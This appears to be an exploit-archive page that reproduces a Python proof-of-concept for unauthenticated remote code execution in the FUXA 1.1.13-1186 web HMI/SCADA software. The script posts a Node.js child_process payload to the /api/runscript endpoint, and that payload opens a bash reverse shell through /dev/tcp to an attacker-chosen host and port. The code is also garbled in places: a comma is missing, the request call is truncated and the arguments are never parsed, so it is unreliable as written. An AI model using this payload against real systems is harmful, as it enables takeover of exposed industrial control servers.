FUXA 1.1.13-1186 Remote Code Execution

CVE Category Price Severity
Author Risk Exploitation Type Date
Our sensors found this exploit at:

Below is a copy:

FUXA 1.1.13-1186 Remote Code Execution
# Exploit Title: FUXA V.1.1.13-1186- Unauthenticated Remote Code Execution (RCE)
# Date: 18/04/2023
# Exploit Author: Rodolfo Mariano
# Vendor Homepage:
# Version: FUXA V.1.1.13-1186 (current)

from argparse import RawTextHelpFormatter
import argparse, sys, threading, requests

def main(rhost, rport, lhost, lport):
    url = "http://"+rhost+":"+rport+"/api/runscript"
    payload = {
                "lazyUpdate": "null"
                    "code":"require('child_process').exec('/bin/bash -c \"/bin/sh -i >& /dev/tcp/%s/%s 0>&1\"')" % (lhost,lport)
    response =, json=payload)
args = None
parser = argparse.ArgumentParser(formatter_class=RawTextHelpFormatter, usage="python --rhosts <ip> --rport <rport>--lport <port>")
parser.add_argument('--rhost', dest='rhost', action='store', type=str, help='insert an rhost')
parser.add_argument('--rport', dest='rport', action='store', type=str, help='insert an rport', default=1881)
parser.add_argument('--lhost', dest='lhost', action='store', type=str, help='insert an lhost')
parser.add_argument('--lport', dest='lport', action='store', type=str, help='insert an lport')

main(args.rhost, args.rport, args.lhost, args.lport)

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.